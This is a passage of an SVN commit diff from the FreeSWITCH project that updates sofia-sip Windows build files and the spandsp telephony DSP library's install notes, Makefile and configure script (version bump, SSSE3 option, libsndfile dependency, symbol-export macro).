+SOURCE="..\..\libsofia-sip-ua\nua\nua_client.c"
+# End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\nua\nua_client.h"
+# End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\nua\nua_server.c"
+# End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\nua\nua_server.h"
+# End Source File
+# Begin Source File
+
 SOURCE="..\..\libsofia-sip-ua\nua\nua_subnotref.c"
 # End Source File
 # Begin Source File
@@ -865,6 +885,10 @@
 # End Source File
 # Begin Source File
 
+SOURCE="..\..\libsofia-sip-ua\su\sofia-sip\su_string.h"
+# End Source File
+# Begin Source File
+
 SOURCE="..\..\libsofia-sip-ua\su\sofia-sip\su.h"
 # End Source File
 # Begin Source File
@@ -1227,6 +1251,10 @@
 
 SOURCE="..\..\libsofia-sip-ua\sresolv\sofia-sip\sresolv.h"
 # End Source File
+# Begin Source File
+
+SOURCE="..\..\libsofia-sip-ua\sresolv\sofia-sip\sres_sip.h"
+# End Source File
 # End Group
 # Begin Group "nea headers"
 

Modified: freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua-static/libsofia_sip_ua_static.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua-static/libsofia_sip_ua_static.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/win32/libsofia-sip-ua-static/libsofia_sip_ua_static.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1395,7 +1395,7 @@
 					</FileConfiguration>
 				</File>
 				<File
-					RelativePath="..\..\libsofia-sip-ua\su\strcasestr.c"
+					RelativePath="..\..\libsofia-sip-ua\su\su_string.c"
 					>
 					<FileConfiguration
 						Name="Debug|Win32"
@@ -2269,6 +2269,28 @@
 					</FileConfiguration>
 				</File>
 				<File
+					RelativePath="..\..\libsofia-sip-ua\sresolv\sres_sip.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+				</File>
+				<File
 					RelativePath="..\..\libsofia-sip-ua\sresolv\sresolv.c"
 					>
 					<FileConfiguration
@@ -3137,6 +3159,58 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\libsofia-sip-ua\nua\nua_client.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libsofia-sip-ua\nua\nua_client.h"
+					>
+				</File>
+				<File
+					RelativePath="..\..\libsofia-sip-ua\nua\nua_server.c"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\libsofia-sip-ua\nua\nua_server.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\libsofia-sip-ua\nua\nua_subnotref.c"
 					>
 					<FileConfiguration
@@ -3829,6 +3903,10 @@
 					>
 				</File>
 				<File
+					RelativePath="..\..\libsofia-sip-ua\su\sofia-sip\su_string.h"
+					>
+				</File>
+				<File
 					RelativePath="..\..\libsofia-sip-ua\su\sofia-sip\su.h"
 					>
 				</File>
@@ -4195,6 +4273,11 @@
 					RelativePath="..\..\libsofia-sip-ua\sresolv\sofia-sip\sresolv.h"
 					>
 				</File>
+				</File>
+				<File
+					RelativePath="..\..\libsofia-sip-ua\sresolv\sofia-sip\sres_sip.h"
+					>
+				</File>
 			</Filter>
 			<Filter
 				Name="nea headers"

Modified: freeswitch/branches/seven/libs/sofia-sip/win32/sofia-sip/su_configure.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/win32/sofia-sip/su_configure.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/win32/sofia-sip/su_configure.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -121,7 +121,7 @@
 #define SOFIA_USIZE_T size_t
 
 #ifdef _WIN64
-#define SOFIA_SSIZE_T __in64
+#define SOFIA_SSIZE_T __int64
 #define SOFIA_ISSIZE_T __int64
 #define SU_INTPTR_T __int64
 #elif _MSC_VER >= 1400

Property changes: freeswitch/branches/seven/libs/spandsp


Name: svn:ignore
   - configure
Makefile.in
config.log
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
   + configure
Makefile.in
config.log
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
Debug
*.user
Release
spandsp.pc
config-h.in

Modified: freeswitch/branches/seven/libs/spandsp/INSTALL (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/INSTALL	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/INSTALL	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,76 @@
+Building and installing spandsp
+===============================
+
+A number of distributions include spandsp, but they usually use older versions
+of the library, which lack a lot of the features of the current version. Before
+installing spandsp, make sure there are no older versions already on your
+machine. Make sure libtiff is installed on your machine. Versions 3.5.7,
+3.6.0, 3.7.1 and 3.8.2 seem to work OK. There have been several bugs related
+to FAX document handling in some versions of libtiff. Also, some people have
+had trouble using spandsp because they had more than one version of libtiff
+on their machine. Take care with this. If you are using an RPM based system,
+such as RedHat or Fedora, you will need the libtiff and libtiff-devel RPMs
+installed to be able to build spandsp.
+
+You can use the usual:
+
+    ./configure
+    make
+    make install
+
+process to build the spandsp library. Note that if you use configure in this
+way, the software will be installed in /usr/local. In this case make sure your
+/etc/ld.so.conf file has an entry for /usr/local/lib. If you wish the software
+to be installed in /usr, you should build it with the commands.
+
+    ./configure --prefix=/usr
+    make
+    make install
+
+
+Building the programming documentation
+======================================
+
+If you wish to build the programming documentation for spandsp, configure
+spandsp with:
+
+    ./configure --enable-doc
+
+You need doxygen installed on your machine.
+
+
+Building the test suite
+=======================
+
+Most sections of the spandsp library have an accompanying test program in the
+test directory. If you wish to build these test programs, configure spandsp
+with:
+
+    ./configure --enable-tests
+
+To build these tests you will need libaudiofile installed on your machine. To
+build the modem tests, with the GUI monitoring feature you will need Fltk 1.1.4
+or later, an audio meter module and a cartesian plotting module. Fltk may be
+obtained from http://www.fltk.org. The audio meter module may be obtained from
+http://www.soft-switch.org/downloads/Fl_Audio_Meter.tgz . The cartesian plotting
+module may be obtained from http://134.226.68.29/fltk. However, there is no
+suitable makefile supplied with that. You can find a version at
+http://www.soft-switch.org/downloads/Fl_Cartesian.tgz which will build as a
+Linux library. The actual code in both these versions is identical.
+You need to have Fltk 1.1.4 or later installed before building the plotting
+library.
+
+
+Applications
+============
+
+Applications support for spandsp is built into packages such as Callweaver,
+FreeSwitch and iaxmodem. Code to add spandsp based FAX support to Asterisk may
+be found at http://sourceforge.net/projects/agx-ast-addons.
+
+
+
+
 Basic Installation
 ==================
 

Modified: freeswitch/branches/seven/libs/spandsp/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,7 +16,7 @@
 ## License along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 ##
-## $Id: Makefile.am,v 1.44 2008/09/28 14:36:25 steveu Exp $
+## $Id: Makefile.am,v 1.49 2009/05/30 05:55:22 steveu Exp $
 
 AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
 AM_LDFLAGS = $(COMP_VENDOR_LDFLAGS)
@@ -27,39 +27,45 @@
 
 EXTRA_DIST = autogen.sh \
              DueDiligence \
-             README.testdata \
-             spandsp.spec \
-             wrapper.xsl \
-             unpack_g722_data.sh \
-             unpack_g726_data.sh \
-             unpack_gsm0610_data.sh \
-             unpack_v56ter_data.sh \
-             spandsp/global-tones.xml \
-             spandsp/tones.dtd \
-             spandsp/tsb85.xml \
              debian/changelog \
              debian/compat \
              debian/control \
              debian/copyright \
-             debian/libspandsp5.install \
+             debian/libspandsp6.install \
              debian/libspandsp-dev.install \
              debian/libspandsp-doc.install \
              debian/rules \
-             debian/watch
+             debian/watch \
+             README.testdata \
+             spandsp.pc \
+             spandsp.spec \
+             spandsp/fax-tests.dtd \
+             spandsp/global-tones.xml \
+             spandsp/tones.dtd \
+             spandsp/tsb85.xml \
+             unpack_g722_data.sh \
+             unpack_g726_data.sh \
+             unpack_gsm0610_data.sh \
+             unpack_v56ter_data.sh \
+             wrapper.xsl
 
 if COND_DOC
     MAYBE_DOC=doc
 endif
+if COND_TESTDATA
+    MAYBE_TESTDATA=test-data
+endif
 if COND_TESTS
+    MAYBE_TESTDATA=test-data
     MAYBE_TESTS=spandsp-sim tests
 endif
-if COND_TESTDATA
-    MAYBE_TESTDATA=test-data
-endif
-SUBDIRS = src $(MAYBE_DOC) $(MAYBE_TESTS) $(MAYBE_TESTDATA)
+SUBDIRS = src $(MAYBE_DOC) $(MAYBE_TESTDATA) $(MAYBE_TESTS)
 
-DIST_SUBDIRS = src doc spandsp-sim tests test-data
+DIST_SUBDIRS = src doc test-data spandsp-sim tests
 
+pkgconfigdir = $(libdir)/pkgconfig
+pkgconfig_DATA = spandsp.pc
+
 faq: faq.xml
 	cd faq ; xsltproc ../wrapper.xsl ../faq.xml
 

Modified: freeswitch/branches/seven/libs/spandsp/README (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/README	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,4 @@
-spandsp 0.0.4 - A DSP library for telephony
+spandsp 0.0.5 - A DSP library for telephony
 -------------------------------------------
 
 SpanDSP is a library of DSP functions for telephony, in the 8000 sample per
@@ -26,8 +26,8 @@
 fftw (and fftw-devel) is required to build the test suite. Version 2 or 3 of
 FFTW may be used. Spandsp adapts to the differences between them.
 
-fltk (and fltk-devel), Fl_Cartesian and Fl_Audio_Meter are required to build the
-test suite with GUI interfaces for some of the tests. The tests will build
+fltk (and fltk-devel), Fl_Cartesian and Fl_Audio_Meter are required to build
+the test suite with GUI interfaces for some of the tests. The tests will build
 without these packages, but the GUI features will not be available.
 Fl_Cartesian and Fl_Audio_Meter can be downloaded from
 http://www.soft-switch.org/downloads.

Modified: freeswitch/branches/seven/libs/spandsp/config/ax_c99_features.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/config/ax_c99_features.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/config/ax_c99_features.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,7 +11,7 @@
 # provided "as is" without express or implied warranty.
 
 AC_DEFUN([AX_C99_FLEXIBLE_ARRAY],
-[AC_CACHE_CHECK(C99 struct flexible array support, 
+[AC_CACHE_CHECK(if have C99 struct flexible array support, 
     ac_cv_c99_flexible_array,
 
 # Initialize to unknown

Copied: freeswitch/branches/seven/libs/spandsp/config/ax_check_export_capability.m4 (from rev 14471, freeswitch/trunk/libs/spandsp/config/ax_check_export_capability.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/config/ax_check_export_capability.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/config/ax_check_export_capability.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,61 @@
+# @synopsis AX_CHECK_EXPORT_CAPABILITY
+#
+# Does the compiler support the exporting of library symbols?
+# @version 1.0    Jan 31 2009
+# @author Steve Underwood
+#
+# Permission to use, copy, modify, distribute, and sell this file for any 
+# purpose is hereby granted without fee, provided that the above copyright 
+# and this permission notice appear in all copies.  No representations are
+# made about the suitability of this software for any purpose.  It is 
+# provided "as is" without express or implied warranty.
+
+AC_DEFUN([AX_CHECK_EXPORT_CAPABILITY],
+[AC_CACHE_CHECK([if $1 supports library symbol export], 
+    ac_cv_symbol_export_capability,
+
+[# Initialize to unknown
+ac_cv_symbol_export_capability="no"
+
+case "${ax_cv_c_compiler_vendor}" in
+gnu)
+    save_CFLAGS="${CFLAGS}"
+    CFLAGS="${CFLAGS} -fvisibility=hidden"
+    AC_COMPILE_IFELSE(
+        [AC_LANG_PROGRAM(
+            [int foo __attribute__ ((visibility("default")));],
+            [;]
+        )],
+
+        [AC_MSG_RESULT([yes])
+         COMP_VENDOR_CFLAGS="-fvisibility=hidden -DSWITCH_API_VISIBILITY=1 -DHAVE_VISIBILITY=1 $COMP_VENDOR_CFLAGS"
+         COMP_VENDOR_CXXFLAGS="-fvisibility=hidden -DSWITCH_API_VISIBILITY=1 -DHAVE_VISIBILITY=1 $COMP_VENDOR_CXXFLAGS"
+         ac_cv_symbol_export_capability="yes"],
+
+        [AC_MSG_RESULT([no])]
+    )
+    CFLAGS="${save_CFLAGS}"
+    ;;
+
+sun)
+    save_CFLAGS="${CFLAGS}"
+    CFLAGS="${CFLAGS} -xldscope=hidden"
+    AC_COMPILE_IFELSE(
+        [AC_LANG_PROGRAM(
+            [int foo __attribute__ ((visibility("default")));],
+            [;]
+        )],
+
+        [AC_MSG_RESULT([yes])
+         COMP_VENDOR_CFLAGS="-xldscope=hidden -DSWITCH_API_VISIBILITY=1 -DHAVE_VISIBILITY=1 $COMP_VENDOR_CFLAGS"
+         COMP_VENDOR_CXXFLAGS="-xldscope=hidden -DSWITCH_API_VISIBILITY=1 -DHAVE_VISIBILITY=1 $COMP_VENDOR_CXXFLAGS"
+         ac_cv_symbol_export_capability="yes"],
+
+        [AC_MSG_RESULT([no])]
+    )
+    CFLAGS="${save_CFLAGS}"
+    ;;
+
+esac])
+AS_IF([test AS_VAR_GET(ac_cv_symbol_export_capability) = yes], [$2], [$3])[]dnl
+]) # AX_CHECK_EXPORT_CAPABILITY

Modified: freeswitch/branches/seven/libs/spandsp/config/ax_compiler_vendor.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/config/ax_compiler_vendor.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/config/ax_compiler_vendor.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -49,8 +49,7 @@
 #   special exception to the GPL to apply to your modified version as well.
 
 AC_DEFUN([AX_COMPILER_VENDOR],
-[
-AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
+[AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
  [ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor=unknown
   # note: don't check for gcc first since some other compilers define __GNUC__
   for ventest in intel:__ICC,__ECC,__INTEL_COMPILER ibm:__xlc__,__xlC__,__IBMC__,__IBMCPP__ pathscale:__PATHCC__,__PATHSCALE__ gnu:__GNUC__ sun:__SUNPRO_C,__SUNPRO_CC hp:__HP_cc,__HP_aCC dec:__DECC,__DECCXX,__DECC_VER,__DECCXX_VER borland:__BORLANDC__,__TURBOC__ comeau:__COMO__ cray:_CRAYC kai:__KCC lcc:__LCC__ metrowerks:__MWERKS__ sgi:__sgi,sgi microsoft:_MSC_VER watcom:__WATCOMC__ portland:__PGI; do

Deleted: freeswitch/branches/seven/libs/spandsp/config-h.in

Modified: freeswitch/branches/seven/libs/spandsp/configure.ac (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/configure.ac	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,7 +16,7 @@
 # License along with this program; if not, write to the Free Software
 # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 #
-# $Id: configure.ac,v 1.59 2008/09/16 15:21:52 steveu Exp $
+# $Id: configure.ac,v 1.71 2009/07/12 09:29:18 steveu Exp $
 
 # @start 1
 
@@ -27,12 +27,13 @@
 m4_include(config/ax_fixed_point_machine.m4)
 m4_include(config/ax_misaligned_access_fails.m4)
 m4_include(config/ax_c99_features.m4)
+m4_include(config/ax_check_export_capability.m4)
 
 SPANDSP_MAJOR_VERSION=0
 SPANDSP_MINOR_VERSION=0
-SPANDSP_MICRO_VERSION=5
+SPANDSP_MICRO_VERSION=6
 
-SPANDSP_LT_CURRENT=1
+SPANDSP_LT_CURRENT=2
 SPANDSP_LT_REVISION=0
 SPANDSP_LT_AGE=0
 
@@ -49,7 +50,7 @@
 AM_INIT_AUTOMAKE($PACKAGE, $VERSION)
 
 AC_CANONICAL_HOST
-AC_CANONICAL_BUILD
+#AC_CANONICAL_BUILD
 AC_PROG_CC
 AC_PROG_CXX
 AC_PROG_GCC_TRADITIONAL
@@ -123,13 +124,16 @@
 AC_ARG_ENABLE(sse,          [  --enable-sse         Enable SSE support])
 AC_ARG_ENABLE(sse2,         [  --enable-sse2        Enable SSE2 support])
 AC_ARG_ENABLE(sse3,         [  --enable-sse3        Enable SSE3 support])
-AC_ARG_ENABLE(sse3,         [  --enable-sse3        Enable SSE3 support])
+AC_ARG_ENABLE(ssse3,        [  --enable-ssse3       Enable SSSE3 support])
 AC_ARG_ENABLE(sse4_1,       [  --enable-sse4-1      Enable SSE4.1 support])
 AC_ARG_ENABLE(sse4_2,       [  --enable-sse4-2      Enable SSE4.2 support])
 AC_ARG_ENABLE(sse4a,        [  --enable-sse4a       Enable SSE4A support])
 AC_ARG_ENABLE(sse5,         [  --enable-sse5        Enable SSE5 support])
 AC_ARG_ENABLE(fixed_point,  [  --enable-fixed-point Enable fixed point support])
+AC_ARG_ENABLE(builtin_tiff,
+[AC_HELP_STRING([--enable-builtin-tiff],[build with builtin libtiff])],[enable_builtin_tiff="$enableval"],[enable_builtin_tiff="no"])
 
+
 AC_FUNC_ERROR_AT_LINE
 AC_FUNC_VPRINTF
 AC_FUNC_MALLOC
@@ -161,6 +165,7 @@
 AC_CHECK_FUNCS([strstr])
 AC_CHECK_FUNCS([strtol])
 AC_CHECK_FUNCS([gettimeofday])
+AC_CHECK_FUNCS([drand48])
 
 AC_HEADER_STDC
 AC_HEADER_SYS_WAIT
@@ -183,9 +188,8 @@
 AC_CHECK_HEADERS([sys/select.h])
 AC_CHECK_HEADERS([sys/ioctl.h])
 AC_CHECK_HEADERS([sys/fcntl.h])
-AC_CHECK_HEADERS([audiofile.h])
+AC_CHECK_HEADERS([sndfile.h])
 AC_CHECK_HEADERS([fftw3.h], , [AC_CHECK_HEADERS([fftw.h])])
-AC_CHECK_HEADERS([tiffio.h])
 AC_CHECK_HEADERS([pthread.h])
 if test "${build}" == "${host}"
 then
@@ -237,7 +241,11 @@
 then
     case "${host}" in
     x86_64-*)
+        # X86_64 Linux machines may have both 64 bit and 32 bit libraries. We need to choose the right set
         AX_CHECK_REAL_FILE([${prefix}/lib64], libdir='$(exec_prefix)/lib64')
+        AX_CHECK_REAL_FILE([/usr/X11R6/lib64], [TESTLIBS="$TESTLIBS -L/usr/X11R6/lib64"], AC_CHECK_FILE([/usr/X11R6/lib], [TESTLIBS="$TESTLIBS -L/usr/X11R6/lib"]))
+        # The very oldest AMD 64 bit chips support SSE2, SSE and MMX
+        enable_sse2="yes"
         ;;
     esac
 fi
@@ -258,25 +266,13 @@
 AC_SEARCH_LIBS([logf], [m], AC_DEFINE([HAVE_LOGF], [1], [Define to 1 if you have the logf() function.]))
 AC_SEARCH_LIBS([log10f], [m], AC_DEFINE([HAVE_LOG10F], [1], [Define to 1 if you have the log10f() function.]))
 
-if test "${build}" == "${host}"
-then
-    case "${host}" in
-    x86_64-*)
-        # X86_64 Linux machines may have both 64 bit and 32 bit libraries. We need to choose the right set
-        AX_CHECK_REAL_FILE([/usr/X11R6/lib64], [TESTLIBS="$TESTLIBS -L/usr/X11R6/lib64"], AC_CHECK_FILE([/usr/X11R6/lib], [TESTLIBS="$TESTLIBS -L/usr/X11R6/lib"]))
-        ;;
-    esac
-fi
-
 # Checks for libraries.
-AC_CHECK_LIB([tiff], [TIFFOpen], , AC_MSG_ERROR("Can't build without libtiff (does your system require a libtiff-devel package?)"), -lm)
+AC_CHECK_LIB([xml2], [xmlParseFile], [AC_DEFINE([HAVE_LIBXML2], [1], [Define to 1 if you have the 'libxml2' library (-lxml2).]) SIMLIBS="$SIMLIBS -lxml2"])
 
-AC_CHECK_LIB([xml2], [xmlParseFile], [AC_DEFINE([HAVE_LIBXML2], [1], [Define to 1 if you have the 'libxml2' library (-lxml2).]) TESTLIBS="$TESTLIBS -lxml2"])
-
 if test -n "$enable_tests" ; then
     AC_LANG([C])
-    AC_CHECK_LIB([audiofile], [afOpenFile], TESTLIBS="$TESTLIBS -laudiofile", AC_MSG_ERROR("Can't make tests without libaudiofile (does your system require a libaudiofile-devel package?)"))
-    AC_CHECK_LIB([fftw3], [fftw_plan_dft_1d], TESTLIBS="$TESTLIBS -lfftw3", [AC_CHECK_LIB([fftw], [fftw_create_plan], TESTLIBS="$TESTLIBS -lfftw")])
+    AC_CHECK_LIB([sndfile], [sf_open], SIMLIBS="$SIMLIBS -lsndfile", AC_MSG_ERROR("Can't make tests without libsndfile (does your system require a libsndfile-devel package?)"))
+    AC_CHECK_LIB([fftw3], [fftw_plan_dft_1d], SIMLIBS="$SIMLIBS -lfftw3", [AC_CHECK_LIB([fftw], [fftw_create_plan], SIMLIBS="$SIMLIBS -lfftw", AC_MSG_ERROR("Can't make tests without FFTW 2 or 3 (does your system require an fftw?-devel package?)"))])
     AC_CHECK_LIB([pthread], [pthread_attr_init], TESTLIBS="$TESTLIBS -lpthread")
     AC_CHECK_LIB([dl], [dlopen], TESTLIBS="$TESTLIBS -ldl")
     AC_CHECK_LIB([Xft], [XftFontOpen], TESTLIBS="$TESTLIBS -lXft",, $TESTLIBS)
@@ -289,9 +285,14 @@
     AC_LANG([C])
 fi
 
+AX_CHECK_EXPORT_CAPABILITY([$host],
+    [AC_DEFINE([SPANDSP_USE_EXPORT_CAPABILITY], [1], [Use the library symbol export capability of the compiler])
+    SPANDSP_USE_EXPORT_CAPABILITY="#define SPANDSP_USE_EXPORT_CAPABILITY 1"],
+    [SPANDSP_USE_EXPORT_CAPABILITY="#undef SPANDSP_USE_EXPORT_CAPABILITY"])
+
 case "${ax_cv_c_compiler_vendor}" in
 gnu)
-    COMP_VENDOR_CFLAGS="-std=gnu99 -ffast-math -Wall -Wunused-variable -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes"
+    COMP_VENDOR_CFLAGS="-std=gnu99 -ffast-math -Wall -Wunused-variable -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes $COMP_VENDOR_CFLAGS"
     if test "$enable_sse5" = "yes" ; then
         COMP_VENDOR_CFLAGS="-msse5 $COMP_VENDOR_CFLAGS"
     fi
@@ -304,6 +305,9 @@
     if test "$enable_sse4_1" = "yes" ; then
         COMP_VENDOR_CFLAGS="-msse41 $COMP_VENDOR_CFLAGS"
     fi
+    if test "$enable_ssse3" = "yes" ; then
+        COMP_VENDOR_CFLAGS="-mssse3 $COMP_VENDOR_CFLAGS"
+    fi
     if test "$enable_sse3" = "yes" ; then
         COMP_VENDOR_CFLAGS="-msse3 $COMP_VENDOR_CFLAGS"
     fi
@@ -326,7 +330,7 @@
     esac
     ;;
 sun)
-    COMP_VENDOR_CFLAGS="-xc99=all -mt -xCC -errwarn=%all -xvpara"
+    COMP_VENDOR_CFLAGS="-xc99=all -mt -xCC -errwarn=%all -xvpara $COMP_VENDOR_CFLAGS"
     if test "$enable_sse3" = "yes" ; then
         COMP_VENDOR_CFLAGS="-native -fast $COMP_VENDOR_CFLAGS"
     fi
@@ -342,7 +346,7 @@
     COMP_VENDOR_LDFLAGS=
     ;;
 *)
-    COMP_VENDOR_CFLAGS="-std=c99 -Wall -Wunused-variable -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes"
+    COMP_VENDOR_CFLAGS="-std=c99 -Wall -Wunused-variable -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes $COMP_VENDOR_CFLAGS"
     COMP_VENDOR_LDFLAGS=
     ;;
 esac
@@ -356,6 +360,7 @@
 AM_CONDITIONAL([COND_SSE], [test "$enable_sse" = yes])
 AM_CONDITIONAL([COND_SSE2], [test "$enable_sse2" = yes])
 AM_CONDITIONAL([COND_SSE3], [test "$enable_sse3" = yes])
+AM_CONDITIONAL([COND_SSSE3], [test "$enable_ssse3" = yes])
 AM_CONDITIONAL([COND_SSE4_1], [test "$enable_sse4_1" = yes])
 AM_CONDITIONAL([COND_SSE4_2], [test "$enable_sse4_2" = yes])
 AM_CONDITIONAL([COND_SSE4A], [test "$enable_sse4a" = yes])
@@ -373,66 +378,69 @@
     [AC_DEFINE([SPANDSP_MISALIGNED_ACCESS_FAILS], [1], [Do not expect a misaligned memory access to work correctly])
     SPANDSP_MISALIGNED_ACCESS_FAILS="#define SPANDSP_MISALIGNED_ACCESS_FAILS 1"],
     [SPANDSP_MISALIGNED_ACCESS_FAILS="#undef SPANDSP_MISALIGNED_ACCESS_FAILS"])
-if test "$enable_mmx" = "yes" ; then
-    AC_DEFINE([SPANDSP_USE_MMX], [1], [Use the MMX instruction set (i386 and x86_64 only).])
+
+if test "$enable_sse5" = "yes" ; then
+    AC_DEFINE([SPANDSP_USE_SSE5], [1], [Use the SSE5 instruction set (i386 and x86_64 only).])
+    enable_sse4a="yes"
 fi
-if test "$enable_sse" = "yes" ; then
-    AC_DEFINE([SPANDSP_USE_MMX], [1], [Use the MMX instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE], [1], [Use the SSE instruction set (i386 and x86_64 only).])
+if test "$enable_sse4a" = "yes" ; then
+    AC_DEFINE([SPANDSP_USE_SSE4A], [1], [Use the SSE4A instruction set (i386 and x86_64 only).])
+    enable_sse4_2="yes"
 fi
-if test "$enable_sse2" = "yes" ; then
-    AC_DEFINE([SPANDSP_USE_MMX], [1], [Use the MMX instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE], [1], [Use the SSE instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE2], [1], [Use the SSE2 instruction set (i386 and x86_64 only).])
+if test "$enable_sse4_2" = "yes" ; then
+    AC_DEFINE([SPANDSP_USE_SSE4_2], [1], [Use the SSE4.2 instruction set (i386 and x86_64 only).])
+    enable_sse4_1="yes"
 fi
-if test "$enable_sse3" = "yes" ; then
-    AC_DEFINE([SPANDSP_USE_MMX], [1], [Use the MMX instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE], [1], [Use the SSE instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE2], [1], [Use the SSE2 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE3], [1], [Use the SSE3 instruction set (i386 and x86_64 only).])
+if test "$enable_sse4_1" = "yes" ; then
     AC_DEFINE([SPANDSP_USE_SSE4_1], [1], [Use the SSE4.1 instruction set (i386 and x86_64 only).])
+    enable_ssse3="yes"
 fi
-if test "$enable_sse4_1" = "yes" ; then
-    AC_DEFINE([SPANDSP_USE_MMX], [1], [Use the MMX instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE], [1], [Use the SSE instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE2], [1], [Use the SSE2 instruction set (i386 and x86_64 only).])
+if test "$enable_ssse3" = "yes" ; then
+    AC_DEFINE([SPANDSP_USE_SSSE3], [1], [Use the SSSE3 instruction set (i386 and x86_64 only).])
+    enable_sse3="yes"
+fi
+if test "$enable_sse3" = "yes" ; then
     AC_DEFINE([SPANDSP_USE_SSE3], [1], [Use the SSE3 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE4_1], [1], [Use the SSE4.1 instruction set (i386 and x86_64 only).])
+    enable_sse2="yes"
 fi
-if test "$enable_sse4_2" = "yes" ; then
-    AC_DEFINE([SPANDSP_USE_MMX], [1], [Use the MMX instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE], [1], [Use the SSE instruction set (i386 and x86_64 only).])
+if test "$enable_sse2" = "yes" ; then
     AC_DEFINE([SPANDSP_USE_SSE2], [1], [Use the SSE2 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE3], [1], [Use the SSE3 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE4_1], [1], [Use the SSE4.1 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE4_2], [1], [Use the SSE4.2 instruction set (i386 and x86_64 only).])
+    enable_sse="yes"
 fi
-if test "$enable_sse4a" = "yes" ; then
